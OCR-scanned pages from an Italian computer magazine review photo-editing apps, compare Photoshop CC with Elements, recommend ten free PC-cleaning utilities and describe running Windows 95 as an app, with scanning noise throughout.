far risaltare il soggetto, 
con Sfocatura (la “goc- 
cia”). L'effetto può esse- 
re applicato in automa- 
tico (Cerchio o Rettan- 
golo) o a mano (Pen- 
nelli). 








La sezione Effetti ci con- 
sente di apportare modi- 
fiche più o meno accen- 
tuate toccando le minia- 
ture. A seconda dell'effet- 
to scelto, vengono aumen- 
tati luminosità e/o contra- 
sto, attenuati o evidenziati 
i contorni. La peculiarità di 
quest'app è che è possibile 
apportare modifiche agli 
effetti per poi applicarli su 
altre foto in serie. 





Cono senza 

registrazione 
Dopo aver installato 
l'app, apriamola. Possia- 
mo accedere con Goo- 
gle, Facebook o creare un 
account ma ci è permesso 
anche saltare la registra- 
zione. Ci viene richiesto 
di passare alla versione 
Gold ma, per il momen- 
to, possiamo chiudere 
la schermata e iniziare a 
usare l'app. 





http://bit.1y/2RL9G24- @ http://bit.1y/2T7mwHG 


Strumenti 

infiniti... 
In Comincia a modifi- 
care possiamo scegliere 
se modificare foto sal- 
vate nella nostra Gal- 
leria, o utilizzare sfondi 
e immagini predefini- 
te. Scegliamo una foto 
e chiudiamo gli ads. 
Appare l'editor con la 
foto. Da Strumenti atti- 
viamo i tool per la rego- 
lazione e la modifica. 





Ecco Il 

risultato 
Da Strumenti acce- 
diamo a una palette 
incredibile di funzio- 
ni: dalle regolazioni 
alle modifiche selet- 
tive agli effetti HDR. 
Alla fine confermia- 
mo le modifiche. Da 


Esporta possiamo 
salvare, condivide- 
re o esportare diret- 
tamente la foto sui 
social. 


Gomma su 

oggetti e HDR 
Confermiamo la modi- 
fica toccando la spunta. 
Per rendere la foto più 
interessante aggiungia- 
mo altri effetti. Nel nostro 
caso abbiamo creato scin- 
tillio e sfumatura colorata 
con Bagliori e Filo di luce 
(da Sovrapposizione), 
ma molti altri potranno 
essere usati. Unico limite? 
La nostra immaginazione. 


Condividi 


nagione Com altre perke 


Salva 


Esporta 


Esporta come 





». e tanti 

special FX 
Per accedere agli Effet- 
ti premiamo il pulsante 
Fx. Gli effetti sono divisi 
in gruppi. Tocchiamo le 
miniature per provarli 
in anteprima sulla foto. 
Per ciascun effetto pos- 
siamo regolare i para- 
metri toccando nuo- 
vamente la miniatura 
(luminosità, saturazio- 
ne o contrasto). 


li) Glitch! 

& http://bit.ly/2FRBBow 

Con Glitch! si possono generare veloci effetti-disturbo sulle 
foto, sia reali che casuali. Un glitch in gergo elettronico è un 
errore di sistema causato da un'interferenza o un blackout 
che in ambito artistico (glitch art appunto) viene sfrut- 
tato come effetto creativo per dare un tocco cyberpunk 
alle immagini. Per usare l'app occorre indicare il proprio 
account Google quindi va caricata una foto esistente o 
creata una ad hoc premendo il pulsante con la fotocamera. 
Toccando il pulsante in alto a sinistra appare la palette con È e effe pirate a ae 
gli effetti disponibili (Glitch, VHS scanlines, 3D, Window delity) e Retro degl 
Lag, Pixel, Wave, Hacker, Triangle, Xor, Paintbrush e altri). Alcuni per essere anni ‘80 : M@0]1 
sbloccati richiedono l'acquisto. Ogni effetto deve essere manipolato in un certo filtri Nec 

modo per funzionare, cioè per generare errori nell'immagine. Una breve tip grafica l'atmosfer 

iniziale in inglese spiega l'azione richiesta: un tocco lento sul display, tocchi ripetuti, Le foto poss 

trascinamento del dito lungo gli assi X e Y o "drag & drop". Toccando lo schermo — RRGUELGIERESI retro 

in basso a sinistra si può confrontare l'anteprima con l'immagine originale mentre de, statue estetiche e delfini sea 
scorrendo il dito verso l'angolo in alto a destra si aumenta il numero di errori. 





del telefono o scattarne una direttamente dall'appli- 


| WAO| 
\___} Ultrapop cazione. Per gli autoscatti (selfie) si può usare il timer 





# http://bit.ly/2Wfi7Vd - http://bit.ly/2RHiYPR (2,19 euro) 
http://bit.ly/2DsHgUW - http://bit.ly/2UaJi1c (4,49 euro) 

Ultrapop permette di aggiungere alle foto, surreali 

effetti pop in stile eighties. 

Oltre ad una serie di filtri di saturazione base, l'app 

mette a disposizione ulteriori pacchetti scaricabili 

gratuitamente che offrono motivi più elaborati e 

interessanti. 


incorporato e la fotocamera frontale. 

Scegliere il filtro che possa esaltare al meglio la foto, 
regolare il livello di opacità e salvare le modifiche in 
un tap. 

È quindi possibile aggiungere filtri anche stratificati 
in qualsiasi combinazione e infine salvare il risultato 
finale o condividere l'immagine via mail o sui social. 
L'effeto wow è assicurato. 





Per modificare una foto basta selezionarla dal rullino 


| ©, “, o] Psychedelic Camera 
http://bit.ly/2AY75KO 
a € Consente di ottenere foto o filmati con effet- 
ti cromatici psichedelici. Dopo aver scelto la 
foto da modificare, per accedere ai vari filtri 
trippy coloratissimi va premuto il pulsante 
con gli slider e su Effects. Alcune maschere 
sono utilizzabili liberamente, altre richiedo- 
no lo sblocco per consentire il salvataggio 
anche se possono essere comunque appli- 
cate in preview. Premendo su Settings si 
sul pulsante con la bacchetta magica, l'app perme può cambiare la palette di colori (alcune 
i i | sono a pagamento o disponibili in prova 
per 4 ore guardando un adv), definire l'am- 
piezza del mix e impostare la velocità dell'animazione (da Time) 
o disattivarla. Da Mask invece, possiamo personalizzare l'intensità 
e il fading della maschera colorata, definire l'area di applicazione, 
aggiungere (Add) o rimuovere (Erase) l'effetto. Lo spessore del 
"pennello" (brush) può inoltre essere ridimensionato (Setup brush) 
per un'applicazione più precisa. Dopodiché, toccando il pulsante 
rosso centrale si può registrare l'effetto oppure toccando il dischetto 
salvarlo come foto. 
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Sfida all'ultimo Photc 


Se vuoi realizzare foto dall’aspetto professionale, 
la scelta obbligata è passare a Photoshop. 


La domanda è: 


el corso degli anni “Pho- 

toshoppare” è diventato 

sinonimo di modificare le 
immagini, ma Adobe è ben lungi 
dal sedersi sugli allori e conti- 
nua a sfornare una versione dopo 
l’altra del suo best-seller. La ver- 
sione professionale, CC, è stata 
rinnovata da poco, proprio come 
accaduto anche per Elements, la 
versione più orientata al princi- 
piante. Ma quale, tra queste, è la 
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versione giusta per noi? 


Abbonamento — 

o pagamento unico? 
Photoshop CC è disponibile solo 
in abbonamento; il pacchetto più 
economico è il “Fotografia Creati- 
ve Cloud”, che costa 12,19 euro al 
mese. Photoshop Elements, inve- 
ce, può essere acquistato al costo 
di 101,26 euro o, seabbiamo una 
versione precedente, a 82,96 euro. 


quale delle versioni disponibili? 


Il vantaggio di Elements è che lo 
si può avere su DVD, mentre CC 
può essere installato e sbloccato 
solo tramite Internet. 


Almeno due 
programmi 
Indipendentemente dalla varian- 
te scelta, oltre al programma di 
modifica delle immagini otter- 
remo sempre anche un software 
per la gestione delle foto. Quello 


incluso in Elements è Elements 
Organizer, che al primo avvio im- 
portale immagini già presenti sul 
disco, e questo può richiedere del 
tempo soprattutto conle foto più 
grandi, visto che Organizer crea 
una sorta di libreria coni dati del- 
leregistrazioni. Con CC, invece, la 
gestione delle foto viene affidata 
a Lightroom CC, che offre anche 
molte funzioni di modifica, come 
la compensazione dell’esposizio- 





ne o la regolazione dei colori. In 
alternativa potremmo utilizzare 
Bridge CC anziché Lightroom CC: 
non verrebbe creata alcuna libre- 
ria foto, ma potremo comunque 
visualizzare, ordinare e filtrare le 
immagini di una cartella prima di 
modificarle con Photoshop CC. 


Elements è più 
semplice da usare 
L'usabilità di Photoshop CC è stata 
semplificata nel corso degli anni, 
mal'enorme quantità di funzioni 
scoraggia i principianti. La mag- 





"Quando si tratta 

di quantità di opzioni 
non c'è modo di 
battere Photoshop CC" 


gior parte degli utenti ha bisogno 
di un periodo di apprendimento 
abbastanza lungo, cosa che inve- 
ce non accade con Elements, che 
offre fin da subito molti consigli e 
trucchi per modificare le foto ed 
haunassistente virtuale che aiuta 
in diverse attività. Ad esempio, 
una cartella di foto può essere 
convertita in una presentazione 
con pochi clic e condivisa su You- 
Tube come video. 

In CC non esistono assistenti, 
ma le funzioni di modifica delle 
immagini sono più sofisticate. Il 


modulo integrato Camera Raw 
permette di modificare foto in 
formato RAW e offre profili di cor- 
rezione per obiettivi e fotocamere. 
Ad esempio, la vignettatura o la 
distorsione a barile, problemi ti- 
pici degli obiettivigrandangolari, 
possono essere corretti con un 
clic. Utile: l'utente può automatiz- 
zare i passaggi ripetitivi, cosa che 
non esiste in Elements. In coda a 
quest'articolo ti forniremo un po’ 
di suggerimenti e semplici truc- 
chi sulle funzionalità chiave di 
Elements e CC. 





ADOBE PHOTOSHOP 
(C2019 


Prezzo: 12,19 euro 





Cosa ne pensiamo 

Il risultato del test è chiaro: Pho- 
toshop CC 2019, la versione pro- 
fessionale, vince il duello perché 
offre molte più funzioni rispetto 
alla versione “ridotta” Elements 
2019, che però è la scelta migliore 
per i principianti, perché il pe- 
riodo di apprendimento neces- 
sario è inferiore rispetto a CC e 
sono disponibili molti assistenti 
virtuali per modificare le im- 
magini in modo semplice, ma 
soddisfacente. 


Adobe Photost 


Ele 


ants 2019 


ADOBE PHOTOSHOP 
ELEMENTS 2019 


Prezzo: 101,26 euro 





Versione completa per: Windows 7 SP1 / 
8/10(solo 64-Bit), MacOS dalla 10.12 
Internet: www.adobe.com 


Versione completa per: Windows 7 SP1 / 
8/10 (solo 64-Bit), MacOS dalla 10.12 
Internet: www.adobe.com 


Quanto è semplice la configurazione? 
Semplice, richiesta registrazione 


Semplice 


Quanto è veloce e senza complicazioni il programma? 


Semplice, periodo di apprendimento un po' lungo, 
richiesta registrazione per l'abbonamento 


Semplice, disponibile anche su disco, 
richiesta registrazione per la versione di prova 


Quanto funziona bene il programma? 
Facile, dopo il periodo di apprendimento iniziale 


Facile, molti assistenti 


Quanto è facile da usare? 

Ben strutturato, le molte funzioni richiedono un 
adeguato 

periodo di formazione 





Un po' confusionario, utili gli assistenti 
e le funzioni assistite 


Quali funzioni offre il programma? 
Moltissime funzioni 


Gestione foto 


Funzioni comuni 


Molte funzioni (con cartelle e librerie) 
Miglioramenti foto 


Molte funzioni (solo librerie) 


Molte funzioni, con correzione degli errori delle 
fotocamere 
e profili obiettivo 





Molte funzioni, nessun profilo di fotocamera 
o obiettivo 


Modificare le foto 


Molte funzioni, l'automazione di processi ricorrenti 
possibili 


Molte funzioni, nessuna automazione dei processi 
ricorrenti 


Condivisione foto 


Molte funzioni per la stampa, condivisione su 
Internet 

poco soddisfacente 

Che aiuti offre il programma? 

Aiuto estesi 


Molto esteso / molto esteso 
Bonus / Malus 
Utilizzo su smartphone, editing video 





Molte funzioni per la stampa, condivisione su 
internet poco soddisfacente 







Aiuto estesi 


Funzioni di aiuto (valutazione) / Aiuto video su Internet 
Molto esteso / molto esteso 


Nessuno 


ono 7,2 
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ITELCO 


| Sapevi che... | Photoshop | 








Trucchiamo Photoshop.. 


Photoshop è talmente ricco di funzioni da sembrare quasi 
confusionario. Ecco i consigli pratici per chi inizia 


AGGIUNTA TESTO 
E MODIFICA RAPIDA 


Aggiungere un testo descrittivo o un titolo 
ad una fotografia? Con Photoshop possiamo 
farlo velocemente, anche perché le opzioni 
di formattazione e modifica sono più sempli- 
ci di prima e a portata di mano. 


Selezioniamo lo strumento Te- 
sto dalla tavolozza degli stru- 
menti a sinistra. 


T 


Clicchiamo con il mouse sulla foto e digi- | 
tiamo il testo voluto. 


Dal menu Finestra, clicchiamo su Carat- 
teri per aprire la tavolozza e formattare il 
testo. 


Se necessario, facciamo doppio clic sul 
testo inserito per passare alla modalità di 
modifica. 





L’UTILITÀ DEL TIMBRO CLONE 


Molte foto potrebbero essere 
migliori se non contenessero 
elementi estranei o semplice- 
mente fuori luogo. Fortunata- 
mente non importa se vi sono 
linee dell'alta tensione che at- 
traversano la nostra foto, 0 sol- 
tanto piccole macchie: con 
Photoshop e il timbro clone 
potremo rimuovere in un atti- 
mo qualunque intruso. 


Selezioniamo il Timbro 

clone dalla casella degli 
strumenti o premiamo 
iltasto S. 





Strumento Timbro clone (5) 


Disegna utilizzando i pixel di un'altra parte 
dell'immagine 


Ingrandiamo l'immagine 

usando la combinazione di 
tasti Ctrl+ + così da evidenzia- 
re l'elemento di disturbo. 


MODIFICARE LE JPG IN CAMERA RAW 


Chi è solito utilizzare ilformato Ecco come fare: 

RAW potrà facilmente ottimizza- Chi usa Photo- vi sE 

re le proprie foto con Camera shop può aprire Apri in Camera Raw... 
Raw e i suoi strumenti di modifi- Adobe Bridge e Svuota cache per la selezione 
ca. Pochi però sanno che Camera trovare la foto desi- Taglia 

Raw può gestire anche le JPG, ed. derata al suo inter- so 

aprirle direttamente anche da no. i 


Photoshop Elements. 
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Sposta su 





Se necessario, spostiamo 

l'immagine tenendo pre- 
muto la barra spaziatrice e clic- 
cando con il tasto sinistro del 
mouse su di essa. 


Ora facciamo clic con il ta- 

‘sto destro del mouse 
sull'immagine per aprire il me- 
nu delle impostazioni. In esso, 
regoliamo la dimensione del 
timbro in base all'elemento da 
rimuovere e scegliamo una 
durezza bassa. 





Iniziamo! Troviamo un'area 

di colore corrispondente a 
quella con la macchia, tenen- 
do premuto il tasto Alt sulla 
tastiera il pennello si trasfor- 
merà in un mirino; clicchiamo 
una volta con il tasto sinistro 
del mouse per scegliere l'area 
da utilizzare come modello 
per coprire la macchia. 


Ctrl +Ro cliccare su 


destro del mouse e 
scegliere Apri in Ca- 
mera Raw. 


Per avviare Camera 
Raw basta eviden- 
ziare la foto e premere 


di essa con il pulsante 


Rilasciamo la barra spazia- 

trice e clicchiamo sulla 
macchia da eliminare. Se la di- 
mensione del timbro clone | 
non si adatta bene possiamo — | 
farapparire nuovamente il | 
menu visto al punto 4 e ridi- 
mensionarlo. 


Ripetiamo i passaggi finora 

eseguiti per correggere ra- 
pidamente eventuali ulteriori 
problemi nella foto. 











Apri file modificati di redapite 
Duplica... 


Chiudi Cti 


Chiudi tutto 





Ait+Ctr 
Salva ct 
Maiusc+C8 


Salva con nome 


Salva per Web. Alt+Maiusc+C4 


in quattro step 





ELIMINARE ELEMENTI INDESIDERATI DALLE FOTO 


Se dovessimo trovarci in difficoltà con il timbro clo- 
ne o semplicemente desiderassimo rimuovere velo- 
cemente una particolare area da una foto, potrem- 
mo utilizzare la funzione avanzata “riempi in base al 
contenuto" Con essa potremo eliminare anche una 
barca dallo sfondo di una foto, ad esempio. 





Innanzitutto, apriamo la foto da modificare pre- 
mendo i tasti Ctrl + O. 


Quindi selezioniamo uno strumento di selezio- 
ne dalla barra degli strumenti, ad esempio lo 
strumento Lazo. 





Madifica Immagine 
Annulla Lazo Ctrl+Z 
Ripristina Maiusc+Ctrl+Z 


Attiva,disattiva ultimo stato Alt+Ctrl+Z 


Dissolvi.,. Maiusc+Ctrl+F 
Taglia Ctrl+X 
Copia Ctrl+C 
Copia elementi uniti Maiusc+Ctrl+C 
Incolla Ctrl+V 
Incolla speciale » 
Cancella 

Ricerca Ctrl+F 


Controllo ortografia... 
Trova e sostituisci testo... 


Riempi... Maiusc+F5 


Traccia... 


Riambir tà inbace dl contenuto 
uempimento in Dase ai contenuto 





Scala in base al contenuto Maiusc+Ctrl+ A 
Alterazione marionetta 

Alterazione prospettica 

Trasformazione libera Ctrl+T 
Trasforma » 





Ingrandiamo la foto usando Ctrl + + per rende- 
re più evidente l'area da modificare. Se necessa- 
rio potremo rimpicciolirla con i tasti Ctrl + -. 


Utilizzando lo strumento di selezione selezio- 

niamo completamente l'elemento da eliminare 
tracciandovi una linea tutto intorno; in questo caso 
la barca sullo sfondo. 


Clicchiamo sulla voce di menu Modifica (1) e 
con un clic del mouse selezioniamo Riempi- 
mento in base al contenuto. 


Photoshop aprirà una nuova finestra visualiz- 

zando l'anteprima del risultato ottenibile con 
questo strumento. A sinistra potremo vedere la fo- 
to corrente con la selezione, a destra quella con la 
correzione applicata. Le possibilità di regolazione 
offerte da Photoshop possono essere tranquilla- 


. mente tralasciate, visto che di solito il risultato è 


più che soddisfacente. 


Se siamo soddisfatti della modifica suggerita da 
Photoshop, confermiamo cliccando su OK. 


10 SCORCIATOIE 
PER PHOTOSHOP 


Nuovo documento 


Ctrl +N 


Nuovo livello vuoto 


Ctrl + Shift +N 


Livello duplicato 


Ctrl+J 


Salva per Web 
Ctrl + Alt + Shift + S 


Trasformazione libera 


Ctrl +T 


Inverti selezione 


Ctrl +Alt+1 


Annulla selezione 


Ctrl +D 


Sposta Strumento 


Timbro clone 


Scambia il colore di sfondo 
e primo piano 
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I 10 migliori software 
per pulire il PG 


Sono tutti gratis, sono tutti utili e li usi per ottimizzare, 






velocizzare e rimettere in sesto Windows. Provare per credere! 


‘] IL MIGLIOR PULITORE PER FILE 
i “SPAZZATURA” 


Con l’andar del tempo e soprattutto con l'aumentare delle operazioni che 
vengono svolte al computer, Windows potrebbe iniziare a risentire diventando 
lento e restituendo errori vari. La colpa è, nella maggior parte dei casi, da ricer- 
care nei file“spazzatura” (es. dati della navigazione in rete, file temporanei ecc.). 
Per sbarazzarcene, possiamo usare CCleaner, un software specializzato, 
appunto, nella pulizia del PC. Per usarlo, scarichiamo il file .exe di CCleaner 
dal nostro supporto, apriamolo e seguiamo la procedura di setup, dopodiché 
avviamo il programma. Nella finestra che compare sul desktop, facciamo clic 
sulla scheda Pulizia situata a sinistra e clicchiamo sul pulsante Analizza, per 
effettuare un'analisi completa dei file inutili presenti sull'hard disk del PC. 
Volendo, possiamo anche scegliere 
personalmente servizi e programmi 
su cui agire dalle schede Windows 
e Applicazioni. Ad analisi ultimata, 
potremmo visualizzare l'elenco com- 
pleto dei file inutili individuati dal 
programma e potremmo procedere 
con la pulizia facendo clic sui pulsanti 
Avvia pulizia e OK. 

http://bit.ly/2RUIDn 


2 IL MIGLIOR ANTIVIRUS 


nd Vogliamo tenere il nostro PC ben lontano dai virus ed eliminare quelli 
eventualmente già presenti sul sistema? Possiamo riuscirci grazie all'ottimo 
Bidefender Free. È abbastanza leggero, 
efficace e agisce in tempo reale. Provare 
per credere. Per usarlo, preleviamone il 
file.exe dal nostro supporto, avviamolo 
eseguiamo la procedura di installazio- 
ne guidata. Una volta in esecuzione, 
l'antivirus terrà costantemente sotto 
controllo Windows, individuando ed 
eliminando le minacce informatiche 
in modo automatico. Volendo, possia- 
mo anche effettuare delle scansioni su richiesta, richiamando l'antivirus 
dall'area di.notifica di Windows e facendo clic sul pulsante System scan. 
Peranalizzare singoli file, invece, trasciniamoli nella finestra di Bitdefender. 
http://bit.ly/2ANtgmP 
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DI SISTEMA 


A furia di installare e disinstallare 
programmi, il registro di sistema 
di Windows può riempirsi di vo- 
ci inutili andando a rallentare 
l'OS e implicando l'insorgenza 
di eventuali errori e blocchi. In 
virtù di ciò, usare un software che 
ci consenta di pulireil registro, co- 
me Wise Registry Cleaner, può 
farci decisamente comodo. Per servircene, scarichiamo il file .exe di Wise | 
Registry Cleaner dal nostro supporto, avviamolo e seguiamo la procedura | 
di installazione proposta. Successivamente, apriamo il programma. Dalla | 
finestra di Wise Registry Cleaner , facciamo clic su pulsante Si e su quello | 
con su scritto Salva copia completa registro, per creare una copia di 
backup del registro di sistema. Successivamente, facciamo clic sul pulsante 
Scansione completa e attendiamo che l'analisi del registro venga avviata 
e completata, dopodiché facciamo clic sul pulsante Pulizia, per eliminare 
le voci di registro inutili e riparare quelle corrotte. 

http://bit.ly/2FB4p9f 


2 IL peo PULITORE PER IL REGISTRO 


Soa GITA POE e fr A 


darei 















IL MIGLIOR ANTI-MALWARE 


î Quando l'antivirus non basta, o per meglio dire quando questo non è in 
grado di individuare le minacce informatiche che possono rallentare Windows, 
come adesempio particolari tipologie di malware, fare una bella scansione con, 
appunto, un anti-malware è indubbiamente la cosa più sensata. Per compiere 
quest'operazione possiamo affidarci a Malwarebytes Anti-Malware, unotra i 
più efficienti software della categoria presenti su piazza. Per usarlo, scarichiamo 
il file .exe di Malwarebytes Anti-Malware dal Win CD/DVD-Rom, apriamolo, 
seguiamo la procedura di setup e av- 
viamoil programma. Nella finestra che 
compare sul desktop, facciamo clic sul 
pulsante Scansione situato al centro e 
aspettiamo che il programma esegua 
l’analisi del computer. A processo ulti- 
mato, gli eventuali malware individuati 4 
potranno essere spostati in quarante- 
na e successivamente eliminati. 
http://bit.ly/2DsFkf4 


da Pescara mancò 
3 mali 


Inizia con la pulizia 
del computer 





| 110 migliori software per pulire il PC | Speciale App | 


Sistema €” 














IL MIGLIOR DISINSTALLATORE 


Windows integra da sempre una comoda sezione nel Pannello di 
controllo e, suWindows 10, nelle impostazioni di sistema, che ci permette 
di disinstallare i programmi di cui vogliamo sbarazzarci. Non sempre, però, 
si rivela efficace. Ecco perché possiamo avvalerci di un tool esterno come 
Revo Unistaller, facilissimo da usare e portable. Per usarlo, preleviamo il 
relativo file ZIP dal nostro supporto, estraiamolo e apriamo il file.exe in esso 
contenuto. Tramite la finestra del programma che compare sul desktop, 
selezioniamo il software che vogliamo disinstallare nell'elenco visualizzato, 
pigiamo sul bottone Uninstall posto sulla 
barra degli strumenti e attendiamo che la 
procedura di rimozione del software scelto 
venga avviata e portata a termine. Se ci viene 
proposto un procedimento proprietario per 
eliminare il programma, seguiamo le istruzioni 
su schermo. 
http://bit.ly/2AJhNEY 





IL MIGLIOR TOOL PER PULIRE LA RAM 


Quando si ha a che fare con computer non proprio recenti o equipaggiati 
con un hardware poco potente, pulire la memoria RAM da tutti quei residui 
che possono lasciare i programmi dopo la loro esecuzione è molto utile per 
ottimizzare l'uso del sistema. Per compiere quest'operazione possiamo usare il 
tool Memory Cleaner. Per sfruttarlo, scarichiamo il relativo file .exe dal nostro 
supporto, apriamolo, seguiamo la procedura di setup e avviamo il programma. 
A questo punto, clicchiamo - 
prima sul pulsante Trim Pro- 
cesses’ Working Set e poi 
su quello con su scritto Cle- 
ar System Cache e la RAM 
occupata sul computer verrà 
immediatamente liberata. 
Volendo, potremo anche ren- 
dere automatica la procedura 
in questione recandoci nella 
scheda Options del software. 
http://bit.ly/2D7Xfrk 


O Memory Cleaner 


Memory | Options | About 


Memory Usage: 1579 MB / 2048 MB (77% load) 

Pagetile 2964 MB (79%) Virtual 4303 MB (0%) 
Avg. usage: 1603 MB (78%) 
Max. usage: 1677 MB (81%) 





Min. usage: 1579 MB (77%) 





IL MIGLIOR TOOL PER RIMUOVERE 
I PROGRAMMI SUPERFLUI 


Vogliamo liberarci dei programmi superflui installati sul computer ma non 
sappiamo quali è meglio eliminare e quali, invece, no? Allora possiamo 
rivolgerci a Should I Remove It?, un programmino adibito proprio a tal 
scopo. Scarichiamone quindi il file .exe dal nostro supporto, apriamolo, 
seguiamo la procedura di installazione guidata e avviamo il software. Una 
volta visualizzata la finestra 
del programma, individuia- 
mo i software in elenco che 
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È vere negirty Cleaner 10.14 by WiseCiennerzom |. *% 







È mt = con la percentuale più alta, 
fre uenaa = ovvero quelli più inutili e/o 
ED rossa race Snia TITANIO pericolosi, selezioniamoli 
Lod er liti, e facciamo clic sul bottone 
È pena sar E Uninstall per eliminarli. 


http://bit.ly/2RgoBSn 


. Effettuare la deframmentazione del di- 

















hanno la barra Removal È 


| è fatta. Le modifiche saranno 
| apportate immediatamente, 


IL MIGLIOR 
DEFRAMMENTATORE 


sco rigido del PC è fondamentale per 
riuscire a “ricompattare” e riordinare i 
dati presenti sullo stesso. Sugli hard disk 
“meccanici” è praticamente indispensabile, in quanto consente di ridurre i 
tempi con i quali vengono aperti file e programmi. Anche se Windows integra 
uno strumento appositamente adibito allo scopo, l'uso di un software di terze 
parti come Auslogics Disk Defrag potrebbe restituire risultati migliori. Per 
servircene, scarichiamo il file.exe di Auslogics Disk Defrag dal nostro supporto, 
apriamolo, seguiamo la procedura di setup e avviamo il programma. Nella 
finestra mostrata a video, avviamo la procedura di deframmentazione diretta 
del disco fisso del nostro PC mettendo il segno di spunta accanto alla voce 
che lo riguarda e cliccando sul pulsante Defrag. Pigiando sulla freccia vicino 
al pulsante Defrag possiamo poi selezionare l'opzione Defrag & Ottimizza, 
per velocizzare nettamente le prestazioni di Windows riordinando la posizione 
deifile sul disco dopo aver effettuato la deframmentazione, e quella Analizza, 
per eseguire la sola analisi del nostro disco fisso. 

http://bit.ly/2QN6sZD 





8 IL MIGLIOR 
PROGRAMMA 
PER RIMUOVERE 
I FILE PESANTI 


Quando lo spazio sul disco rigido 

del PC inizia a scarseggiare, indivi- 
duare e rimuovere i file pesanti ormai non più utili può far comodo in tal 
senso. Ma come fare per scovare facilmente i file che occupano maggiore 
spazio e cancellarli “al volo"? Semplice: usando WinDirStat, un software 
concepito proprio per lo scopo in questione. Per usarlo, scarichiamo il file 
«exe dal nostro supporto, apriamolo, seguiamo la procedura di installa- 
zione guidata e avviamo il programma. Nella finestra che si è aperta sul 
desktop, selezioniamo le unità da analizzare e pigiamo sul pulsante OK. 
Successivamente, ci sarà mostrata la lista di file più pesanti sul computer 
e la relativa rappresentazione grafica in basso. Per cancellare un dato file, 
facciamoci clic destro sopra e scegliamo Cancella dal menu contestuale. 
http://bit.ly/2Cw2dwD 























10 IL MIGLIOR LBULITORE PER IL MENU 


CONTESTUA 


Vogliamo mettere un po'd'ordine nel menu contestuale di Windows andando 
a eliminare una o più voci che sono state aggiunte in seguito all'installazione di 
specifici programmi? Allora possiamo usare il tool MenuMaid. Scarichiamo il 
file.exe dal nostro supporto multimediale, apriamolo, seguiamo la procedura 


. diinstallazione guidata e avviamo il software. Una volta visualizzata la finestra 
. diMenuMaidsul desktop, sele- 
. zioniamo la scheda Windows 


Explorer, togliamo la spunta 
dalla casella posta accanto al- 
le voci del menu contestuale 
che vogliamo nascondere ed 


senza necessità di riavviare il 
computer. 
http://bit.ly/2RMmkKq5 
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Win Magazine 
fa un tuffo nel 
passato e ti 
mostra come 
far rivivere un 
classico dei 
sistemi operativi 
Microsoft 


ell'agosto del 1995, Micro- 

soft lanciò Windows 95 e 

diede il “la” ad una nuova 
era dei computer, che grazie al bal- 
zoin avantiin termini di usabilità, 
non furono più ritenuti oggetti da 
“nerd”. Sospinta da una campa- 
gna pubblicitaria da 300 milioni 
di dollari, Microsoft vendette oltre 
40milioni di copie nel primo anno, 
un numero significativamente su- 
periore rispetto a quanto venduto 
da tutte le precedenti versioni di 
Windows. Inoltre, Windows 95 pose 
le basi per gran parte degli stan- 
dard che ancora oggi troviamo nei 
sistemi operativi Microsoft, come 
ad esempio il pulsante Start, che è 
stato l'elemento centrale di tutte le 
versioni successive, ad eccezione 
di Windows 8. Microsoft lo pro- 
mosse addirittura utilizzando il 
brano “Start Me Up”, un successo 
dei Rolling Stones. Windows 95 ha 
rappresentato un punto di svolta 
anche peri notebook, visto che con 
esso Microsoft sviluppò per la pri- 
ma volta una propria modalità di 
risparmio energetico, che diede 
un senso all'uso di questo sistema 
sui portatili. 


Riscoprire 

Windows 95 

Grazie allo sviluppatore tedesco Fe- 
lixRieseberg (http://bit.ly/2RISPxy), 
adesso è possibile tornare indietro 
neltempo e usare nuovamente Win- 
dows 95 indipendentemente dal 
sistema operativo installato sul PC. 
Inredazione l'abbiamo installato... 
e tu cosa aspetti? 
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Windows 95 
ora è gratis! 


AVVIARE 
WINDOWS 95 


Per avviare Windows 95, apri il 
supporto allegato alla rivista, 
poi cliccando su /n Rivista tro- 
verai una lista di file tra i quali 
dovrai scegliere la versione vo- 
luta (Windows a 32 o 64 bit, 


standalone o installer). Al termi- 
ne clicca con il pulsante destro 
del mouse sul file scaricato e se- 
leziona Esegui come ammini- 


CONTROLLARE 





stratore per 
avviare il pro- 
gramma. Se 
utilizzate nor- 
malmente la 
versione a 64 
bit di Windows, 
potete installa- 
re Windows 95 
a 64 bit facen- 
do doppio clic 
sul file con “x64”alla fine del no- 
me del file, altrimenti optate per 
il file con “ia32” Per verificare 
quale versione di Windows si ha, 
premete i tasti Windows+R, di- 
gitate msinfo32 e confermate 
con Invio. Il tipo di Windows (32 
o 64bit) si trova alla voce “Tipo 
di sistema” (vedi figura). Dopo 





L'APP DI WINDOWS 95 


Quando avvii l'applicazione, verifica che la finestra di Windows 
95 abbia il controllo del mouse abilitato. Per farlo, sposta il 
mouse sul bordo della finestra; se vedi due puntatori, fai clic 
con il tasto sinistro sulla finestra dell'app e premi Esc. D'ora in 
avanti potrai controllare Win- 
dows 95 normalmente, anche se 
potrai usare solo poche scorcia- 





aver fatto doppio clic sul file cor- 
rispondente, verrà visualizzata 
la schermata iniziale dell’app. 
Per eseguire Windows 95, fate 
semplicemente clic su Start 
Windows 95. Dopo qualche 
istante Windows si avvierà e 
sembrerà di essere atterrati ne- 
gli anni ‘90. 


ALLE BASI 
DI WINDOWS 


Windows Explorer era una novità in Win- 
dows 95. La versione originale può essere 
avviata facendo clic su Start, Programs e 
Windows Explorer. Fai invece clic su Start, 
Programs, Accessories, System Tools e Di- 
sk defragmenter per avviare lo strumento 
(nuovo di zecca) per deframmentare il di- 


toie da tastiera, visto che non tut- 
ti i comandi chiave vengono pas- 
sati correttamente all'app. Per 
tornare nel Windows che utilizzi 
normalmente, premi il tasto Esc. 
Nota: la versione disponibile al 
momento di andare in stampa è 
in inglese e funziona solo con la- 
yout di tastiera inglese. Visto che si tratta di un'app non pensata 
per l'uso quotidiano, è un compromesso accettabile. 





sco rigido. Grazie agli SSD, la funzione è 
superflua al giorno d'oggi. Lo stesso vale 
per gli screen saver, che potrai avviare clic- 
cando con il tasto destro del mouse su de- 
sktop e scegliendo Properties e Screen 
Saver. Fai clic su (None) per aprire l'elenco 
dei salvaschermo, selezionate 3D Pipes o 
Flying Windows e fai clic su Preview: l'at- 
tacco di nostalgia canaglia è garantito! 





AVVIARE PAINT 
INWINDOWS 95 


In Windows 10, Microsoft ha sostitu- 
ito il programma di disegno “Paint” 
con il nuovo “Paint 3D" Grazie all’app 
Windows 95, adesso hai l'opportuni- 
tà di tornare ad esprimere la tua cre- 
atività utilizzando il programma ori- 
ginale. Per avviare il Paint classico 
clicca su Start, Programs, Accesso- 
ries e Paint. 


GUNPAGIG 
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Disegnare 
con Windows 95 


. click Help Topics on the Help Menu. 


GIOCARE CONI CLASSICI 
DIWINDOWS 95 


Naturalmente, 

